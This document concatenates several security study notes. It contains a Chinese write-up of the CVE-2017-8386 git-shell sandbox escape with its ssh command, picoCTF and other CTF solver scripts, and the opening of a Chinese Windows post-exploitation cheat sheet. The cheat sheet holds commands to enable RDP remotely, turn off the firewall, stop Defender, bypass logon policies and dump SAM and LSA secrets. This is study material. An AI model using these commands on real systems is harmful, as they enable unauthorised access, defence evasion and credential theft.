git-shell是一个可以限制用户执行命令的shell,如果我们在git用户家目录下创建一个新目录,叫`git-shell-commands`,然后将你允许用户执行的命令放在这个目录下,这就创建好了一个沙盒。在git-shell中,只能执行`/home/git/git-shell-commands`目录下的命令。
如果系统是没有`git-shell-commands`目录,那么git-shell默认只允许执行如下三个命令:
- `git-receive-pack <argument>`
- `git-upload-pack <argument>`
- `git-upload-archive <argument>`
这就是白名单。
但CVE-2017-8386的作者发现,执行`git-upload-archive --help`(或`git-receive-pack --help`),将会进入一个交互式的man页面,man又调用了less命令,最后是一个可以上下翻页的帮助文档。
本来这也没什么,但是,less命令有一个特性,就是其支持一些交互式的方法。比如在less页面中,按`shift`+e可以打开Examine功能,通过这个功能可以读取任意文件;输入`!id`就可以执行id这个命令。
可以随便找台linux计算机试一下,执行`less /etc/passwd`来到less的页面,然后在英文输入法下输入`!id`,就可以执行id命令:

所以,利用这个特性,我们就可以绕过git-shell的沙盒读取任意文件,或执行任意命令了!
我们可以先试试,在Linux下直接执行`git-receive-pack --help`,再输入`!id`,看到的效果和上图是类似的。
[evi1cg大佬的博客](https://evi1cg.me/archives/CVE-2017-8386.html)中有动图,看的更直观。
### 通过ssh进行利用
那么,如何远程利用这个漏洞?
我们前面试了,直接`ssh git@gitserver`只能拿到git-shell(或返回一段提醒文字),我们就利用上一节里提到的沙盒绕过漏洞执行命令:
```
ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"
```
进入帮助页面,然后按shift+e或`!id`即可。
### 一些限制
我前文说了,一般配置git用户,不让ssh拥有shell,有两种方法:一是创建用户的时候设置其shell为`/usr/bin/git-shell`,二是在authorized_keys中覆盖command。
如果目标服务器使用了第一种方法,我们即使成功执行了`git-upload-archive '--help'`进入帮助页面,也不能执行命令。因为`!id`还是在git-shell下执行,git-shell中没有id命令,所以依旧执行不成功。
但读取文件是一定可以的,因为读取文件不是通过命令读取的,所以不受git-shell沙盒的影响。
如果目标服务器是用第二种方法配置的git-shell,比如我这里这个测试环境,我是在`/etc/passwd`文件设置git用户的shell是bash,而在authorized_keys中覆盖command,执行git-shell。
这种情况下,如果我进入了帮助页面,输入`!id`是可以成功执行id命令的,因为此时id是在bash下执行的,而不是在git-shell下执行的,所以没有沙盒限制。
总的来说,这个漏洞至少能做到任意文件读取,有可能可以执行任意命令。
|
sec-knowleage
|
# OTP Implementation
Category: Reverse Engineering
## Description
> Yay reversing!
A binary file and the following text file were attached:
```
1fcb81cd1f6f1e12b429092e3647153b6c212772554ca004145b82367e1e6b7870827dc249a319601776f727434e6b6227d1
```
## Solution
Let's run the attached binary:
```console
root@kali:/media/sf_CTFs/pico/OTP_Implementation# ./otp
USAGE: ./otp [KEY]
root@kali:/media/sf_CTFs/pico/OTP_Implementation# ./otp test
Invalid key!
```
So we need to enter a key of some sort. What if we try the one provided in the text file?
```console
root@kali:/media/sf_CTFs/pico/OTP_Implementation# ./otp 1fcb81cd1f6f1e12b429092e3647153b6c212772554ca004145b82367e1e6b7870827dc249a319601776f727434e6b6227d1
Invalid key!
```
Still no luck. Let's open the file in Ghidra:
```c
undefined8 main(int argc,undefined8 *argv)
{
byte bVar1;
int iVar2;
undefined8 status;
ulong jumbled_char;
long in_FS_OFFSET;
int i;
int j;
char user_input [100];
undefined local_84;
char jumbled_input [104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (argc < 2) {
printf("USAGE: %s [KEY]\n",*argv);
status = 1;
}
else {
strncpy(user_input,(char *)argv[1],100);
local_84 = 0;
i = 0;
while( true ) {
status = valid_char(user_input[i]);
if ((int)status == 0) break;
if (i == 0) {
jumbled_char = jumble(user_input[0]);
bVar1 = (byte)((char)jumbled_char >> 7) >> 4;
jumbled_input[0] = ((char)jumbled_char + bVar1 & 0xf) - bVar1;
}
else {
jumbled_char = jumble(user_input[i]);
iVar2 = (int)(char)jumbled_char + (int)jumbled_input[i + -1];
bVar1 = (byte)(iVar2 >> 0x37);
jumbled_input[i] = ((char)iVar2 + (bVar1 >> 4) & 0xf) - (bVar1 >> 4);
}
i = i + 1;
}
j = 0;
while (j < i) {
jumbled_input[j] = jumbled_input[j] + 'a';
j = j + 1;
}
if (i == 100) {
iVar2 = strncmp(jumbled_input,
"mlaebfkoibhoijfidblechbggcgldicegjbkcmolhdjihgmmieabohpdhjnciacbjjcnpcfaopigkpdfnoaknjlnlaohboimombk"
,100);
if (iVar2 == 0) {
puts("You got the key, congrats! Now xor it with the flag!");
status = 0;
goto LAB_5555555549ea;
}
}
puts("Invalid key!");
status = 1;
}
LAB_5555555549ea:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return status;
}
```
We can see that we need to input a key of length 100, and that it is jumbled character by character, and eventually compared to a known result. Once we find the input that will be jumbled to match the predefined result, we should XOR it with the text file contents to get the flag.
The program does not accept all possible characters as input, it validates input using the following method:
```c
undefined8 valid_char(char param_1)
{
undefined8 uVar1;
if ((param_1 < '0') || ('9' < param_1)) {
if ((param_1 < 'a') || ('f' < param_1)) {
uVar1 = 0;
}
else {
uVar1 = 1;
}
}
else {
uVar1 = 1;
}
return uVar1;
}
```
So valid characters are `[0-9a-f]`, which means that we're looking at a hex stream. This makes sense given the instructions to XOR it with another hex stream.
Finally we have the `jumble` method:
```c
ulong jumble(char param_1)
{
byte bVar1;
byte local_c;
local_c = param_1;
if ('`' < param_1) {
local_c = param_1 + '\t';
}
bVar1 = (byte)((char)local_c >> 7) >> 4;
local_c = ((local_c + bVar1 & 0xf) - bVar1) * '\x02';
if ('\x0f' < (char)local_c) {
local_c = local_c + 1;
}
return (ulong)local_c;
}
```
It contains bit shifts and transformations and anything you'd expect from a jumble function. We won't go into analyzing it since we don't need to understand it for our solution. Instead, we'll just use a `gdb` script to brute force the correct answer.
We can see that `jumbled_input` is populated character by character. The first character is populated by:
```c
jumbled_char = jumble(user_input[0]);
bVar1 = (byte)((char)jumbled_char >> 7) >> 4;
jumbled_input[0] = ((char)jumbled_char + bVar1 & 0xf) - bVar1;
```
We can see that its value depends solely on the value of the first character in the input. Therefore, we can try all valid input characters until we hit the one that gives us a correct output, i.e. until we get `'m'` as the result.
Subsequent characters are populated by:
```c
jumbled_char = jumble(user_input[i]);
iVar2 = (int)(char)jumbled_char + (int)jumbled_input[i + -1];
bVar1 = (byte)(iVar2 >> 0x37);
jumbled_input[i] = ((char)iVar2 + (bVar1 >> 4) & 0xf) - (bVar1 >> 4);
```
We can see that the value of the `i`'th character depends on the `i`'th input and the `(i - 1)`'th jumbled character. By induction, we already have identified everything up to `jumbled_input[i - 1]`, so again we can identify `jumbled_input[i]` by brute forcing `user_input[i]`.
The location chosen to inspect the value of `jumbled_input[i]` for our current input of `user_input[i]` is:
```c
while (j < i) {
jumbled_input[j] = jumbled_input[j] + 'a';
j = j + 1;
}
if (i == 100) { // <------------------------- Right here
iVar2 = strncmp(jumbled_input,
"mlaebfkoibhoijfidblechbggcgldicegjbkcmolhdjihgmmieabohpdhjnciacbjjcnpcfaopigkpdfnoaknjlnlaohboimombk"
,100);
```
This is after the loop that adds `'a'` to each member of the `jumbled_input` array, bringing it to its final value.
In assembly, this maps to:
```assembly
| :|| 0x00000984 88540590 mov byte [rbp + rax - 0x70], dl ; Store jumbled character to jumbled_input[i] (rax is i)
| :|| 0x00000988 83851cffffff. add dword [var_e4h], 1
| :|| ; CODE XREF from main @ 0x968
| :|`-> 0x0000098f 8b851cffffff mov eax, dword [var_e4h]
| :| 0x00000995 3b8518ffffff cmp eax, dword [n]
| `===< 0x0000099b 7ccd jl 0x96a
| | 0x0000099d 83bd18ffffff. cmp dword [n], 0x64 ; <------- A breakpoint right here
| |,=< 0x000009a4 7520 jne 0x9c6
| || 0x000009a6 8b8518ffffff mov eax, dword [n]
```
We'll implement a breakpoint in GDB's Python extension, and call it `Checkpoint`:
```python
class Checkpoint(gdb.Breakpoint):
def __init__(self, queue, *args):
super().__init__(*args)
self.silent = True
self.queue = queue
def stop(self):
index = self.queue.get(timeout = 10)
a = gdb.parse_and_eval("((char*)($rbp - 0x70))[{}]".format(index))
self.queue.put(chr(a))
print(f"\t{a}")
return False
```
Basically, when the breakpoint is hit, it evaluates `((char*)($rbp - 0x70))[i]` and returns the result (by pushing it to a queue).
We can set the breakpoint to our requested location by calling `bp = Checkpoint(queue, '*0x55555555499d')`.
The full script is as follows:
```python
import gdb
from queue import Queue
ALPHABET = '1234567890abcdef'
EXPECTED = 'mlaebfkoibhoijfidblechbggcgldicegjbkcmolhdjihgmmieabohpdhjnciacbjjcnpcfaopigkpdfnoaknjlnlaohboimombk'
class Checkpoint(gdb.Breakpoint):
def __init__(self, queue, *args):
super().__init__(*args)
self.silent = True
self.queue = queue
def stop(self):
index = self.queue.get(timeout = 10)
a = gdb.parse_and_eval("((char*)($rbp - 0x70))[{}]".format(index))
self.queue.put(chr(a))
print(f"\t{a}")
return False
gdb.execute("set disable-randomization on")
gdb.execute("delete")
queue = Queue()
bp = Checkpoint(queue, '*0x55555555499d')
with open("flag.txt") as f:
flag = f.read()
key = ""
for i in range(len(key), len(EXPECTED)):
for c in ALPHABET:
queue.put(i)
gdb.execute("run {}".format(key + c))
result = queue.get(timeout = 10)
if result == EXPECTED[i]:
key += c
print(key)
break
bytes_key = bytes.fromhex(key)
bytes_flag = bytes.fromhex(flag)
xor = bytes(a ^ b for a, b in zip(bytes_flag, bytes_key)).decode("ascii")
print("\n")
print(f"flag: {flag}")
print(f"key : {key}")
print(f"xor : {xor}")
```
What this does is first initialize a queue which will be used to communicate with the breakpoint (since once created, the breakpoint code is called in an async form and the "main" loop can't wait for it to finish its work without some form of synchronization).
Then, the breakpoint is created. Finally, we re-run the program for each index and for each character in the alphabet, until we identify that the current run has resulted in the correct character in the current index.
Finally, we XOR the correct key with the contents of the text file to recover the flag:
```console
root@kali:/media/sf_CTFs/pico/OTP_Implementation# gdb ./otp
gdb-peda$ source solve_gdb.py
# [...]
flag: 1fcb81cd1f6f1e12b429092e3647153b6c212772554ca004145b82367e1e6b7870827dc249a319601776f727434e6b6227d1
key : 6fa2e2a25c3b5869d75c7a5a062a4a51194c451e663fff306668ec42212a341f40cd199d78c72a21481596117a7c5e5217ac
xor : picoCTF{cust0m_jumbl3s_4r3nt_4_g0Od_1d3A_ca692500}
```
|
sec-knowleage
|
from Crypto.Cipher import DES
ct=open("ciphertext","rb").read()
pt=[]
for i in range(16):
counts=[0]*256
for c in ct[i::16]:
counts[ord(c)]+=1
mx=0
best=0
for k, val in enumerate(counts):
if val>mx:
mx=val
best=k
if i==6:
best=0x53
if i==13:
best=0x16
if i==15:
best=0x18
print "Key:", best
ptt=[]
for c in ct[i::16]:
ptt.append(chr(ord(c)^best^ord(" ")))
pt.append("".join(ptt))
res=[]
for i in range(len(pt[0])):
for j in range(16):
try:
res.append(pt[j][i])
except:
pass
print "".join(res)
|
sec-knowleage
|
def circuit(inp):
out=inp[:]
out[0]=1-out[0]
out[1]=1
out[2]=1-out[2]
out[3]=0
out[4]=1
out[5]=out[5]
out[6]=0
out[7]=1
return out
code=open("Prototype.ino").readlines()[106:]
it=0
res=""
for _ in range(11):
inp=[0]*8
for i in range(8):
line=code[it+i]
if line.find("HIGH")>-1:
inp[i]=1
out=circuit(inp)
it+=8
it+=1
for i in range(8):
line=code[it+i*3]
if "-" in line:
out[i]-=1
elif "+" in line:
out[i]+=1
if out[i]!=0 and out[i]!=1:
print "Uhhh..."
out[i]=0
it+=24
print out
char=int("".join([str(dig) for dig in out]), 2)
print chr(char)
res+=chr(char)
it+=2
print res
|
sec-knowleage
|
# Windows 安全
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* **[漏洞利用](#漏洞利用)**
* **[LOL](#LOL)**
* **[RDP](#rdp)**
* [命令行开启RDP](#命令行开启rdp)
* [多开](#多开)
* [连接记录](#连接记录)
* [凭据窃取](#凭据窃取)
* [绕过组策略限制](#绕过组策略限制)
* [绕过本地安全策略限制限制](#绕过本地安全策略限制限制)
* **[认证](#认证)**
* [本地](#本地)
* [lsass dump](#lsass-dump)
* [SAM & LSA Secrets](#sam--lsa-secrets)
* [加密降级攻击](#加密降级攻击)
* [Bypass LSA Protection](#bypass-lsa-protection)
* [Bypass Credential Guard](#bypass-credential-guard)
* [DPAPI](#dpapi)
* [NTLM反射](#NTLM反射)
* [工作组](#工作组)
* [IPC$](#ipc)
* [PTH](#pth)
* [kb2871997](#kb2871997)
* [PTH with RDP](#pth-with-rdp)
* [PTK](#ptk)
* [域](#域)
* [NTDS.DIT](#ntdsdit)
* [NTDS转储](#ntds转储)
* [Dcsync](#dcsync)
* [卷影复制](#卷影复制)
* [mscash](#mscash)
* [GPP](#gpp)
* [PTT](#ptt)
* [Silver_Tickets](#silver-tickets)
* [Golden_Tickets](#golden-tickets)
* [NTLM中继](#NTLM中继)
* [NTLMv1 攻击面](#ntlmv1-攻击面)
* [Kerberoasting](#kerberoasting)
* [委派](#委派)
* [查找域中委派主机或账户](#查找域中委派主机或账户)
* [非约束委派 (TrustedForDelegation)](#非约束委派-trustedfordelegation)
* [约束委派 (S4U2Proxy) / 协议转换 (S4U2Self/TrustedToAuthForDelegation)](#约束委派-s4u2proxy--协议转换-s4u2selftrustedtoauthfordelegation)
* [基于资源的约束委派 (RBCD)](#基于资源的约束委派-rbcd)
* [Kerberos Bronze Bit Attack](#kerberos-bronze-bit-attack)
* **[对抗](#对抗)**
* [AMSI](#amsi)
* [ETW](#etw)
* [UAC](#uac)
* [DLL 劫持](#dll-劫持)
* [PatchGuard](#patchguard)
* [Hook](#hook)
* [D/Invoke](#dinvoke)
* **[BitLocker](#bitlocker)**
* **[Windows Defender](#windows-defender)**
---
## 漏洞利用
- [OS-Exploits](./OS-Exploits.md#Windows)
---
## LOL
- [Windows-LOL](./实验/Windows-LOL.md)
---
## RDP
**第三方连接工具**
- [rdesktop/rdesktop](https://github.com/rdesktop/rdesktop)
- kali 自带,使用方法 : `rdesktop [ip]`
- [Remmina](https://remmina.org/)
- [FreeRDP/FreeRDP](https://github.com/FreeRDP/FreeRDP)
### 命令行开启RDP
**相关文章**
- [开启 RDP](https://b404.xyz/2017/12/27/open-RDP/)
- [查询和开启3389端口方式总结](https://mp.weixin.qq.com/s/hgGcoEghsW0IIh7r-YCKCg)
**查看 3389 端口是否开启**
```bash
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /*如果是0x0则开启
```
**查看远程连接的端口**
```bash
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
```
tasklist、netstat 命令查询 3389 端口
```
tasklist /svc | findstr "TermService"
netstat -ano | findstr "xxx"
```
**cmd 开 RDP**
- REG 开启
1. 方法一 : `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f`
2. 方法二 : `REG add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /d 0 /t REG_DWORD /f`
- REG 关闭
- `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000001 /f`
- WMIC 开启 3389
```
wmic /namespace:\\root\CIMV2\TerminalServices PATH Win32_TerminalServiceSetting WHERE (__CLASS !="") CALL SetAllowTSConnections 1
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
```
- WMIC 开启远程主机 3389 端口
Win2k/XP/Win2k3
```
wmic /node:192.168.1.1 /user:administrator /password:123123 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
```
Win7/Win2k8/Win8.1/Win10/2012/2016
```
wmic /node:192.168.1.1 /user:administrator /password:123123 RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.1.1 /user:administrator /password:123123 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
```
- PowerShell 开启 RDP
1. Enable RDP : `set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0`
2. Allow RDP in firewall : `Set-NetFirewallRule -Name RemoteDesktop-UserMode-In-TCP -Enabled true`
3. Enable secure RDP authentication : `set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1`
或
1. Enable Remote Desktop : `(Get-WmiObject Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices).SetAllowTsConnections(1,1) `
`(Get-WmiObject -Class "Win32_TSGeneralSetting" -Namespace root\cimv2\TerminalServices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) `
2. Enable the firewall rule : `Enable-NetFirewallRule -DisplayGroup "Remote Desktop"`
- MSSQL xp_regwrite 开启 3389 端口
1. 查询3389开启状态 : `exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'`
2. 查询3389远程桌面端口 : `exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' `
3. 开启3389远程桌面端口(0:ON、1:OFF): `exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;`
- reg 开启
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d
```
```
regedit /s a.reg
```
- msf
```
run getgui -e
```
- 更改终端端口为 2008(十六进制为:0x7d8)
1. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f`
2. `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f`
- 查看 RDP 服务端口是否更改
```
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /*出来的结果是 16 进制
```
- 允许 3389 端口
```
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
```
- 关闭防火墙
```
netsh advfirewall set allprofiles state off
```
- 关闭 Denfnder
```
net stop windefend
```
- 取消 xp&2003 系统防火墙对终端服务的限制及 IP 连接的限制:
```
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f
```
---
### 多开
**相关文章**
- [Win7 双开 3389](https://blog.csdn.net/SysProgram/article/details/11810889)
- [渗透技巧——Windows 系统远程桌面的多用户登录](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%9A%84%E5%A4%9A%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95/)
- [Multi-User login in Windows 7/Vista/XP using Remote Desktop](http://zahirkhan.com/tools-utilities/multi-user-login-in-windows-7)
**相关工具**
- [stascorp/rdpwrap](https://github.com/stascorp/rdpwrap) - RDP Wrapper Library
- mimikatz
```
privilege::debug
ts::multirdp
```
- Windows Server
```
win+R
gpedit.msc
计算机配置->管理模板->Windows 组件->远程桌面服务->远程桌面会话主机->连接
将 "将远程桌面服务的用户限制到单独的远程桌面会话" 禁用
```
---
### 连接记录
**查看远程连接信息**
通过查询注册表查看当前用户远程连接过的桌面
```
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
```
**相关文章**
- [渗透技巧——获得 Windows 系统的远程桌面连接历史记录](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95/)
- [关于 windows 的 RDP 连接记录](http://rcoil.me/2018/05/%E5%85%B3%E4%BA%8Ewindows%E7%9A%84RDP%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95/)
- [How to Clear RDP Connections History in Windows](http://woshub.com/how-to-clear-rdp-connections-history/#h2_3)
- [RDP 登录日志取证与清除](https://paper.seebug.org/1043/)
**相关工具**
- [3gstudent/List-RDP-Connections-History](https://github.com/3gstudent/List-RDP-Connections-History) - 使用 powershell 列出已登录用户或所有用户的 RDP 连接历史记录
- [Heart-Sky/ListRDPConnections](https://github.com/Heart-Sky/ListRDPConnections) - C# 读取本机对外 RDP 连接记录和其他主机对该主机的连接记录
- [Adminisme/SharpRDPLog](https://github.com/Adminisme/SharpRDPLog) - Windows rdp相关的登录记录导出工具,可用于后渗透中Windows服务器的信息收集阶段。输出内容包括:本地rdp端口、mstsc缓存、cmdkey缓存、登录成功、失败日志事件。
**登录成功的日志**
- 事件ID 4624
**登录失败的日志**
- 事件ID 4625
---
### 凭据窃取
**相关文章**
- [获取远程主机保存的 RDP 凭据密码](https://0x20h.com/p/bf1f.html)
- [解密目标系统RDP连接密码](https://www.jianshu.com/p/6c11412947e5)
**相关工具**
- [hmoytx/RdpThief_tools](https://github.com/hmoytx/RdpThief_tools) - 窃取 mstsc 中的用户明文凭据
- [0x09AL/RdpThief](https://github.com/0x09AL/RdpThief) - Extracting Clear Text Passwords from mstsc.exe using API Hooking.
- [mimikatz](../../安全工具/mimikatz.md#dpapi)
---
### 绕过组策略限制
**相关文章**
- [组策略限制3389登录的绕过方式](https://mp.weixin.qq.com/s/4eDNmiiXp7afLKdYzHeb3Q)
**修改本地组策略**
```
secedit /export /cfg c:\gp.inf /quiet //导出组策略
```
编辑 c:\gp.inf,删除指定策略,在导入
```
secedit /configure /db c:\gp.sdb /cfg c:\gp.inf /quiet //导入组策略
gpupdate /force //更新组策略
```
策略举例
- 拒绝本地登录:
说明:此安全设置确定要防止哪些用户在该计算机上登录。如果帐户受制于此策略设置和“允许本地登录”策略设置,则前者会取代后者。
```
SeDenyInteractiveLogonRight = Guest
```
- 拒绝通过远程桌面服务登录:
说明:此安全设置确定禁止哪些用户和组作为远程桌面服务客户端登录。
```
SeDenyRemoteInteractiveLogonRight = Administrator
```
- 允许本地登录:
说明:确定哪些用户可以登录到该计算机。
```
SeInteractiveLogonRight = *S-1-5-32-544,*S-1-5-32-545,*S-1-5-32-551
*S-1-5-32-544:Administrators
*S-1-5-32-545:Users
*S-1-5-32-551:Backup Operators
```
- 允许通过远程桌面服务登录:
说明:此安全设置确定哪些用户或组具有作为远程桌面服务客户端登录的权限。
```
SeRemoteInteractiveLogonRight = *S-1-5-32-544,*S-1-5-32-555
*S-1-5-32-544:Administrators
*S-1-5-32-555:Remote Desktop Users
```
---
### 绕过本地安全策略限制限制
**相关文章**
- [IP安全策略限制3389登录的绕过方式](https://mp.weixin.qq.com/s/FMGqJx0GbhxXfdnFS929zQ)
**解决方案**
- 本地端口转发
- 删除所有安全策略
```
netsh ipsec static del all
```
---
## 认证
关于 windows 认证的基本知识点可见笔记 [认证](../../../Integrated/Windows/笔记/认证.md)
**学习资源**
- [daikerSec/windows_protocol](https://github.com/daikerSec/windows_protocol)
- [The NTLM Authentication Protocol and Security Support Provider](http://davenport.sourceforge.net/ntlm.html)
### 本地
**相关文章**
- [几种windows本地hash值获取和破解详解](https://www.secpulse.com/archives/65256.html)
- [Windows密码抓取总结](https://times0ng.github.io/2018/04/20/Windows%E5%AF%86%E7%A0%81%E6%8A%93%E5%8F%96%E6%80%BB%E7%BB%93/)
- [深刻理解windows安全认证机制](https://klionsec.github.io/2016/08/10/ntlm-kerberos/)
- [Windows用户密码的加密方法与破解](https://www.sqlsec.com/2019/11/winhash.html#toc-heading-2)
- [Windows下的密码hash——NTLM hash和Net-NTLM hash介绍](https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/)
- [浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/)
- [抓取HASH的10001种方法](https://mp.weixin.qq.com/s/6mwms9LtLE6cK0ukpoSMmg)
- [凭据收集总结](https://my.oschina.net/csxa/blog/4343803)
- [Bypass LSA Protection&Credential Guard获取密码](https://xz.aliyun.com/t/6943)
- [Windows下的密码hash——Net-NTLMv1介绍](https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D/)
- [Internal Monologue Attack - Retrieving NTLM Hashes without Touching LSASS (Repost)](https://shenaniganslabs.io/2019/01/14/Internal-Monologue.html)
- [Credential Dumping: Local Security Authority (LSA|LSASS.EXE)](https://www.hackingarticles.in/credential-dumping-local-security-authority-lsalsass-exe/)
**相关工具**
- Hashcat
- [Hashcat 爆破NTLM-hash](../../安全工具/Hashcat.md#爆破NTLM-hash)
- [Hashcat 爆破net-NTLMv2](../../安全工具/Hashcat.md#爆破net-NTLMv2)
- [AlessandroZ/LaZagne](https://github.com/AlessandroZ/LaZagne) - 凭证抓取神器
- [Invoke-WCMDump](https://github.com/peewpw/Invoke-WCMDump) - 从 Credential Manager 中转储 Windows 凭证的 PowerShell 脚本
```
set-executionpolicy remotesigned
import-module .\Invoke-WCMDump.ps1
invoke-wcmdump
```
- [SterJo Key Finder](https://www.sterjosoft.com/key-finder.html) - 找出系统中软件的序列号
- [impacket](https://github.com/SecureAuthCorp/impacket)
- [evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) - NTLMv1 Multitool
- [mimikatz](../../安全工具/mimikatz.md)
#### lsass dump
**直接转储(Task Manager)**
- [直接转储(Task Manager)](../../安全工具/mimikatz.md#直接转储task-manager)
**ProcDump**
- [ProcDump](../../安全工具/mimikatz.md#procdump)
**SharpDump**
- [SharpDump](../../安全工具/mimikatz.md#sharpdump)
**ComSvcs.dll**
- [ComSvcs.dll](../../安全工具/mimikatz.md#comsvcsdll)
**ProcDump**
- [ProcDump](../../安全工具/mimikatz.md#procdump)
**PPLdump**
- [PPLdump](../../安全工具/mimikatz.md#PPLdump)
**windbg 中载入 mimilib 模块**
- [windbg 中载入 mimilib 模块](../../安全工具/mimikatz.md#windbg-中载入-mimilib-模块)
**LsassSilentProcessExit**
- [LsassSilentProcessExit](../../安全工具/mimikatz.md#lsasssilentprocessexit)
**LSASS Shtinkering**
- [LSASS Shtinkering](../../安全工具/mimikatz.md#lsass-shtinkering)
**HandleKatz**
- [HandleKatz](../../安全工具/mimikatz.md#handlekatz)
---
#### SAM & LSA Secrets
在 Windows 系统中本机的用户密码以 hash 形式存储在 `%SystemRoot%\system32\config\sam` 数据库文件中。
LSA Secrets 存储 PC 用户的文本密码、服务账户密码(例如,必须由某个用户运行才能执行某些任务的密码)、Internet Explorer 密码、RAS 连接密码、SQL 和 CISCO 密码、SYSTEM 账户密码、EFS 加密密钥等用户私人数据等等。
LSA Secrets 存储在注册表中:
```
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
```
**mimikatz**
```
token::elevate
lsadump::secrets
```
**注册表 dump**
> 注意:本地复原机器必须与目标机器一致,且需要在系统权限下执行
```
reg save HKLM\SYSTEM system
reg save HKLM\SAM sam
reg save HKLM\SECURITY security
```
使用 impacket
```
impacket-secretsdump -sam sam -security security -system system LOCAL
```
或mimikatz 获取用户 hash
```bash
lsadump::sam /system:system.hiv /sam:sam.hiv /security:security.hiv
```
**卷影复制**
```bash
wmic shadowcopy call create volume='c:\' # 先创建 c 盘的 shadowscopy
# 或者
vssadmin create shadow /for=C:
vssadmin list shadows # 查看
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\sam c:\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\security c:\security
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\system c:\system
# 用 impacket-secretsdump 来进行解密
impacket-secretsdump -sam sam -security security -system system LOCAL
```
---
#### 加密降级攻击
`NetNTLM Downgrade Attacks`
**描述**
NetNTLM Downgrade Attacks, 通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。
**相关文章**
